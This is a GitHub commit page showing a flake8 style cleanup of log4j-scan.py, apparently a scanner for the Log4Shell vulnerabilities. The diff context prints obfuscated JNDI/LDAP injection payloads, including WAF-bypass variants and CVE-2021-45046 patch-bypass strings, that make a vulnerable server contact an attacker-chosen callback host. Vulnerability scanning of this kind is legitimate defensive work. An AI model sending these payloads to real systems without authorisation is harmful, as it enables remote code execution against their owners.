Skip to content

Commit

Permalink
flake8: log4j-scan.py
Browse files Browse the repository at this point in the history
  • Loading branch information
mazen160 committed Dec 25, 2021
1 parent 3eab1aa commit 3886ac4
Showing 1 changed file with 7 additions and 6 deletions.
13 changes: 7 additions & 6 deletions log4j-scan.py
Original file line number Diff line number Diff line change
Expand Up @@ -16,7 +16,6 @@
from urllib import parse as urlparse
import base64
import json
import random
from uuid import uuid4
from base64 import b64encode
from Crypto.Cipher import AES, PKCS1_OAEP
Expand Down Expand Up @@ -74,13 +73,13 @@
"${jndi:${lower:l}${lower:d}a${lower:p}://{{callback_host}}}",
"${jnd${upper:i}:ldap://{{callback_host}}/{{random}}}",
"${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://{{callback_host}}/{{random}}}"
]
]

cve_2021_45046 = [
"${jndi:ldap://127.0.0.1#{{callback_host}}:1389/{{random}}}", # Source: https://twitter.com/marcioalm/status/1471740771581652995,
"${jndi:ldap://127.0.0.1#{{callback_host}}:1389/{{random}}}", # Source: https://twitter.com/marcioalm/status/1471740771581652995,
"${jndi:ldap://127.0.0.1#{{callback_host}}/{{random}}}",
"${jndi:ldap://127.1.1.1#{{callback_host}}/{{random}}}"
]
]

parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url",
Expand Down Expand Up @@ -188,6 +187,7 @@ def generate_waf_bypass_payloads(callback_host, random_string):
payloads.append(new_payload)
return payloads


def get_cve_2021_45046_payloads(callback_host, random_string):
payloads = []
for i in cve_2021_45046:
Expand All @@ -196,6 +196,7 @@ def get_cve_2021_45046_payloads(callback_host, random_string):
payloads.append(new_payload)
return payloads


class Dnslog(object):
def __init__(self):
self.s = requests.session()
Expand Down Expand Up @@ -308,7 +309,7 @@ def scan_url(url, callback_host):
payloads = [payload]
if args.waf_bypass_payloads:
payloads.extend(generate_waf_bypass_payloads(f'{parsed_url["host"]}.{callback_host}', random_string))

if args.cve_2021_45046:
cprint(f"[•] Scanning for CVE-2021-45046 (Log4j v2.15.0 Patch Bypass - RCE)", "yellow")
payloads = get_cve_2021_45046_payloads(f'{parsed_url["host"]}.{callback_host}', random_string)
Expand Down Expand Up @@ -374,7 +375,7 @@ def main():
dns_callback_host = ""
if args.custom_dns_callback_host:
cprint(f"[•] Using custom DNS Callback host [{args.custom_dns_callback_host}]. No verification will be done after sending fuzz requests.")
dns_callback_host = args.custom_dns_callback_host
dns_callback_host = args.custom_dns_callback_host
else:
cprint(f"[•] Initiating DNS callback server ({args.dns_callback_provider}).")
if args.dns_callback_provider == "interact.sh":
Expand Down

0 comments on commit 3886ac4

Please sign in to comment.